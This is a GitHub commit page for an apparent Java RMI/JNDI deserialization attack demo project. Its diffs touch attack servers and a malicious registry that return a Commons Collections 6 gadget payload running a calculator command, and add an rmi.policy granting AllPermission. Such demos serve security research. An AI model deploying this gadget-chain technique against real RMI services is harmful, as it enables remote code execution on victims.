Skip to content

Commit 6bdd480

Browse files
committed
update rmi demo :)
1 parent f4241fd commit 6bdd480

16 files changed

+49
-28
lines changed

JNDIAttack/pom.xml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@
3333
<plugin>
3434
<groupId>org.apache.maven.plugins</groupId>
3535
<artifactId>maven-compiler-plugin</artifactId>
36+
<version>3.8.1</version>
3637
<configuration>
3738
<source>8</source>
3839
<target>8</target>

JNDIAttack/rmi.policy

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
grant {
2+
permission java.security.AllPermission;
3+
};

JNDIAttack/src/main/java/base/RMIClient.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ public static void main(String[] args) throws Exception {
1414
// System.out.println(remoteObject.sayHello());
1515

1616
// // M2 Registry
17-
Registry registry = LocateRegistry.getRegistry("192.168.66.143", 1099);
17+
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
1818
RemoteInterface remoteObject2 = (RemoteInterface) registry.lookup("Hello");
19-
System.out.println(remoteObject2.sayHello());
19+
System.out.println(remoteObject2.sayHello(1));
2020
}
2121
}

JNDIAttack/src/main/java/base/RemoteInterface.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,4 +10,6 @@ public interface RemoteInterface extends Remote {
1010
public Calc sayHello() throws RemoteException;
1111

1212
public String sayHello(Object name) throws RemoteException;
13+
14+
public int sayHello(int num) throws RemoteException;
1315
}

JNDIAttack/src/main/java/base/RemoteObject.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,4 +21,9 @@ public String sayHello(Object name) throws RemoteException {
2121
return name.getClass().getName();
2222
}
2323

24+
@Override
25+
public int sayHello(int num) throws RemoteException {
26+
return 0;
27+
}
28+
2429
}

JNDIAttack/src/main/java/base/RemoteServer.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,6 @@ public static void main(String[] args) throws Exception{
1212
LocateRegistry.createRegistry(1099);
1313
RemoteInterface remoteObject = new RemoteObject();
1414
// Naming.bind("rmi://127.0.0.1/Hello", remoteObject);
15-
Naming.bind("rmi://192.168.66.143/Hello", remoteObject);
15+
Naming.bind("rmi://127.0.0.1/Hello", remoteObject);
1616
}
1717
}

JNDIAttack/src/main/java/client/AttackRemoteObject.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,6 @@ public AttackRemoteObject() throws RemoteException {
1414

1515
@Override
1616
public Object sayHello() throws Exception {
17-
return Serializer.cc6("calc");
17+
return Serializer.cc6("open -a Calculator.app");
1818
}
1919
}

JNDIAttack/src/main/java/client/AttackRemoteServer.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ public static void main(String[] args) throws Exception{
1515
AttackRemoteInterface remoteObject = new AttackRemoteObject();
1616

1717
// 这个地址是客户端要访问的地址
18-
Naming.bind("rmi://192.168.66.143/xxx", remoteObject);
18+
Naming.bind("rmi://127.0.0.1/xxx", remoteObject);
1919
System.out.println("Server Start");
2020

2121
}

JNDIAttack/src/main/java/client/VulRMIClient.java

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,24 @@
11
package client;
22

33

4+
import java.rmi.registry.LocateRegistry;
5+
import java.rmi.registry.Registry;
6+
47
/**
58
* @author Whoopsunix
69
*
710
*/
811
public class VulRMIClient {
912
public static void main(String[] args) throws Exception {
1013
// M1 Naming
11-
String url = "rmi://192.168.66.143:1099/xxx";
12-
AttackRemoteInterface remoteObject = (AttackRemoteInterface) java.rmi.Naming.lookup(url);
13-
System.out.println(remoteObject.sayHello());
14+
// String url = "rmi://127.0.0.1:1099/xxx";
15+
//
16+
// java.rmi.Naming.lookup(url);
17+
// java.rmi.Naming.list(url);
1418

1519
// // M2 Registry
16-
// Registry registry = LocateRegistry.getRegistry("192.168.66.143", 1099);
17-
// AttackRemoteInterface remoteObject2 = (AttackRemoteInterface) registry.lookup("xxx");
20+
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
21+
AttackRemoteInterface remoteObject2 = (AttackRemoteInterface) registry.lookup("xxx");
1822
// System.out.println(remoteObject2.sayHello());
1923

2024
}

JNDIAttack/src/main/java/clientserver/AttackRegistry.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,8 @@ public AttackRegistry(int port, Object payloadObject) throws NumberFormatExcepti
3030

3131
public static final void main(String[] args) {
3232
try {
33-
// Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app");
34-
Object annotationInvocationHandler = Serializer.cc6("calc");
33+
Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app");
34+
// Object annotationInvocationHandler = Serializer.cc6("calc");
3535
int port = 1099;
3636

3737
System.err.println("* Opening JRMP listener on " + port);

0 commit comments

Comments
 (0)